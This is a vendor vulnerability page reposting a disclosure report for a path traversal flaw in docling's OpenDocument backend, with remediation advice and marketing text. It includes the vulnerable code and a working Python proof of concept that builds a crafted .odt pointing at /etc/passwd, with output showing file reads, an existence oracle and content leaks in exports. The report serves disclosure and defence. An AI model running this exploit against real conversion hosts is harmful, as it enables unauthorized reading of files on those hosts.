CVE-2026-105751

CVE-2026-105751 is a medium-severity path traversal vulnerability in docling (pip), affecting versions >= 2.107.0, < 2.120.3. It is fixed in 2.120.3.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend

The ODF backend resolves the xlink:href of a draw:image element as a filesystem path whenever
the referenced part is not found inside the document archive. The value comes straight from
content.xml, so it is document content, and it is used with no scheme check, no confinement to
the extraction directory, and without consulting the enable_local_fetch / enable_remote_fetch
controls that the other backends use for exactly this decision.

Converting a crafted .odt therefore causes Docling to open an attacker-named absolute path on
the converting host. Where the target decodes as an image, its complete contents are embedded in
the resulting DoclingDocument and appear in the HTML, Markdown and JSON exports.

Both the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive
containing two entries.

Affected component

docling/backend/opendocument_backend.py, in _image_ref_from_odf_image:

image_url = _odf_image_href(image)
...
if image_data is None and odf_obj is not None and image_url:
    try:
        image_data = odf_obj.get_part(image_url)
    except Exception:
        image_data = None
 
if image_data is None and image_url:
    image_path = Path(image_url)
    if image_path.is_file():
        image_data = image_path.read_bytes()

_odf_image_href returns the xlink:href attribute. The in-archive lookup is attempted first;
when it fails, the same string is handed to Path and read from disk.

The only filter on the way in is _odf_image_can_be_bitmap, which admits any path whose suffix is
one of .bmp, .gif, .jpeg, .jpg, .png, .tif, .tiff, .webp, or empty. The
empty-suffix case is what admits most paths of interest on a Unix host, /etc/passwd among them.

The backend does not use the project's own fetch controls

$ grep -n "enable_local_fetch\|enable_remote_fetch\|image_resource_loader" \
      docling/backend/opendocument_backend.py
$

Nothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through
docling/backend/utils/image_resource_loader.py, where enable_local_fetch and
enable_remote_fetch both default to False. The ODF backend reimplements image loading and does
not consult either, so the default of not fetching local resources is not applied on this path.

That is the substance of the report: the control exists, it is off by default, and this backend
does not reach it.

Affected versions

Introduced by commit e2afe381, "feat: Add OpenDocument backend support and improve ODF
image/table handling" (#3480), 2026-06-24. First released in v2.107.0.

Affected: docling >= 2.107.0, up to and including 2.117.0 and current main
(52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1).

Subsequent commits touching this file, 2c3e55b3 (skip a draw:object with a missing embedded
part), b627ca91 (preserve content inside sections), 2ec33bc7 (guard backend imports), address
unrelated defects and leave the path resolution unchanged.

Reproduced on two independent machines:

Python 3.12.3 docling-slim 2.117.0, docling-core 2.88.0, odfdo 3.23.1
Python 3.14.4 same releases, and again against main clones on sys.path

Proof of concept

Trigger

An .odt needs only mimetype and content.xml. No manifest, no styles, no embedded image part.

import zipfile
 
CONTENT = (
    '<?xml version="1.0"?><office:document-content '
    'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" '
    'xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" '
    'xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" '
    'xmlns:xlink="http://www.w3.org/1999/xlink" office:version="1.2">'
    '<office:body><office:text><text:p>'
    '<draw:frame><draw:image xlink:href="{href}"/></draw:frame>'
    '</text:p></office:text></office:body></office:document-content>'
)
 
def build(path, href):
    with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
        zi = zipfile.ZipInfo("mimetype", date_time=(1980, 1, 1, 0, 0, 0))
        zi.compress_type = zipfile.ZIP_STORED
        z.writestr(zi, "application/vnd.oasis.opendocument.text")
        zi = zipfile.ZipInfo("content.xml", date_time=(1980, 1, 1, 0, 0, 0))
        zi.compress_type = zipfile.ZIP_DEFLATED
        z.writestr(zi, CONTENT.format(href=href))
 
build("odt_etc_passwd.odt", "/etc/passwd")
build("odt_control.odt", "Pictures/image1.png")

With the fixed archive timestamp above the artifacts are byte-reproducible:

File Bytes sha256
odt_etc_passwd.odt 452 edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634
odt_control.odt 458 da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6

Without the fixed timestamp the archive size varies by a few bytes with the length of the href
string, which is the only part that changes.

Conversion, public API, default install, no options set

from pathlib import Path
from docling.document_converter import DocumentConverter
from docling_core.types.doc import ImageRefMode
 
doc = DocumentConverter().convert(Path("trigger.odt")).document
print(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED))

The read itself is observed with sys.addaudithook, which records every open without modifying
Docling or any dependency.

A self-contained script, odf_repro.py, is attached. It creates its own canary image in a fresh
temporary directory, builds the trigger and the control, converts both, and reports the read, the
disclosure in each export format, and ten consecutive repetitions.

Output, disclosure

python        3.14.4
docling       /home/asus/CVE/docling/docling/__init__.py
canary        /tmp/odf_canary_eoz7_2d8/canary.png  (104 B, sha256 b9c57d2dc728be7f)
trigger       odf_trigger.odt  (471 B, sha256 341d060294c90447)
 
file opened outside document : True  ['/tmp/odf_canary_eoz7_2d8/canary.png', ...]
contents present in html     : True
contents present in markdown : True
contents present in json     : True
 
control (in-archive href)    : disclosed=False
determinism                  : 10/10
 
----------------------------------------------------------------------
RESULT: REPRODUCED
----------------------------------------------------------------------

The canary is written outside the working tree and is never placed inside the archive. The sha256
of the base64-decoded image in the export matches the source file exactly.

The control is the ordinary ODF convention, xlink:href="Pictures/image1.png". It resolves inside
the archive and discloses nothing, through the same function. That is what separates this from
intended behaviour.

Output, read of a non-image path

The read happens before any decoding is attempted, so it is not confined to image files.

/etc/passwd                  status=success  opened=['/etc/passwd']
/etc/does_not_exist_9c1f     status=success  opened=[]

Both conversions report success. Only the existing path is opened. Nothing in the conversion
result distinguishes the two cases, so the difference is usable as a silent file-existence oracle
against arbitrary paths.

Impact

Confirmed by execution, default install, no options set:

  1. Arbitrary local file read. A converted document names an absolute path and Docling opens
    it. Observed for /etc/passwd and for paths with no extension.
  2. Silent file existence and readability oracle. Present and absent paths are distinguishable
    by side effect while conversion reports success either way.
  3. Full content disclosure. Where the target decodes as an image, its bytes are embedded in
    the DoclingDocument and appear base64-encoded in the HTML, Markdown and JSON exports, byte
    for byte.
    The disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly
    than overstate the finding. On a document-conversion host that class is not marginal: page images
    from other conversions, scanned documents, cached artifacts and screenshots are exactly what such
    a service accumulates. The project README describes "local execution capabilities for sensitive
    data and air-gapped environments", which is the deployment where host-side file disclosure carries
    the most weight.

Not demonstrated, and stated as such. I have not tested this behind docling-serve. .odt is
an accepted input format there, json is an accepted output format, and the service defaults to
binding 0.0.0.0 with DOCLING_SERVE_API_KEY unset, so on the face of it the same defect is
reachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am
raising it for you to check rather than presenting it as a result.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Affected versions

docling (>= 2.107.0, < 2.120.3)

Security releases

docling → 2.120.3 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade docling to 2.120.3 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-105751? CVE-2026-105751 is a medium-severity path traversal vulnerability in docling (pip), affecting versions >= 2.107.0, < 2.120.3. It is fixed in 2.120.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. Which versions of docling are affected by CVE-2026-105751? docling (pip) versions >= 2.107.0, < 2.120.3 is affected.
  3. Is there a fix for CVE-2026-105751? Yes. CVE-2026-105751 is fixed in 2.120.3. Upgrade to this version or later.
  4. Is CVE-2026-105751 exploitable, and should I be worried? Whether CVE-2026-105751 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-105751 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-105751? Upgrade docling to 2.120.3 or later.

Other vulnerabilities in docling

Stop the waste.
Protect your environment with Kodem.